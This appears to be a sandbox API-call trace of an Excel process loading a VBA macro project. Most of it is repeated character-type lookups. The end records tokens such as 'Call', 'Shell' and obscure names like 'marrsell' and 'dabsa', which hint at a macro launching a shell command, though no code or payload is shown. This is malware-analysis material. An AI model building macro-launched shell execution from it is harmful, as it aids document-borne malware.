	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x80", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x81", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x82", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x83", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x84", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x85", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x86", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x87", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x88", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x89", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8a", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8b", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8c", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8d", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8e", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8f", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x90", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.190] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x91", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x92", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x93", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x94", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x95", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x96", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x97", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x98", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x99", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9a", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9b", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9c", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9d", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9e", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9f", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa0", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa1", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa2", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa3", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa4", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa5", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa6", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa7", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa8", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa9", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xaa", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xab", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xac", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xad", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xae", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.191] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xaf", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb0", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb1", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb2", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb3", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb4", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb5", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb6", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb7", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb8", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb9", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xba", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbb", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbc", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbd", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbe", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbf", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc0", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc1", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc2", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc3", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc4", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc5", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc6", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc7", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc8", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc9", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xca", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcb", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcc", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.192] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcd", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xce", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcf", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd0", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd1", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd2", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd3", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd4", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd5", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd6", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd7", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd8", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd9", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xda", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdb", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdc", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdd", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xde", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdf", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe0", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe1", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe2", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe3", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe4", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe5", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe6", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe7", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe8", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe9", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xea", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xeb", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.193] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xec", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xed", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xee", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xef", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf0", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf1", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf2", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf3", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf4", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf5", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf6", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf7", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf8", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf9", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfa", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfb", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfc", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfd", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xfe", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xff", cchSrc=1, lpCharType=0x26f3f0 | out: lpCharType=0x26f3f0) returned 1
	[0050.194] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.194] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff
	[0050.194] IMalloc:Alloc (This=0x7feffc15380, cb=0xd) returned 0xbb71d30
	[0050.194] IMalloc:Alloc (This=0x7feffc15380, cb=0x1a) returned 0xb791d00
	[0050.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb71d30, cbMultiByte=13, lpWideCharStr=0xb791d00, cchWideChar=13 | out: lpWideCharStr="ThisWorkbook") returned 13
	[0050.195] IMalloc:Free (This=0x7feffc15380, pv=0xbb71d30) 
	[0050.195] IMalloc:Free (This=0x7feffc15380, pv=0xb791d00) 
	[0050.195] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.195] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Base") returned 0x109fb8
	[0050.195] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb791d00
	[0050.195] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb8ad8b0
	[0050.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb791d00, cbMultiByte=40, lpWideCharStr=0xb8ad8b0, cchWideChar=40 | out: lpWideCharStr="0{00020819-0000-0000-C000-000000000046}") returned 40
	[0050.195] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb8ad910
	[0050.195] IMalloc:Realloc (This=0x7feffc15380, pv=0xbace250, cb=0x20) returned 0xb791d30
	[0050.195] IMalloc:Realloc (This=0x7feffc15380, pv=0xbacf0f0, cb=0x28) returned 0xb791d60
	[0050.195] IMalloc:Free (This=0x7feffc15380, pv=0xb791d00) 
	[0050.195] IMalloc:Free (This=0x7feffc15380, pv=0xb8ad8b0) 
	[0050.195] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.195] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_GlobalNameSpace") returned 0x10ce77
	[0050.195] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01
	[0050.195] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.195] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Creatable") returned 0x101d92
	[0050.195] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01
	[0050.196] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.196] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_PredeclaredId") returned 0x105fc7
	[0050.196] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4
	[0050.196] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.196] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Exposed") returned 0x1030b3
	[0050.196] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4
	[0050.196] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.196] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_TemplateDerived") returned 0x109f1e
	[0050.196] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="False") returned 0x102d01
	[0050.196] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.196] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Customizable") returned 0x10c26d
	[0050.197] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4
	[0050.197] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac
	[0050.197] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Forms2F") returned 0x104b02
	[0050.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2b16, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7
	[0050.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2b16, cbMultiByte=7, lpWideCharStr=0xb881ca8, cchWideChar=7 | out: lpWideCharStr="Forms2F") returned 7
	[0050.197] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0x713a8b0
	[0050.197] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x6820000
	[0050.198] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mmm") returned 0x10b479
	[0050.198] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="marrsell") returned 0x109d0b
	[0050.200] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dabsa") returned 0x10d3e7
	[0050.200] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0x713b170
	[0050.200] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x6830000
	[0050.201] IMalloc:Realloc (This=0x7feffc15380, pv=0xba578e0, cb=0x430) returned 0xbc59b90
	[0050.201] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b
	[0050.201] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shell") returned 0x10d756
	[0050.201] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="marrsell") returned 0x109d0b
	[0050.201] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sdemom") returned 0x10fd9c
	[0050.202] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dabsa") returned 0x10d3e7
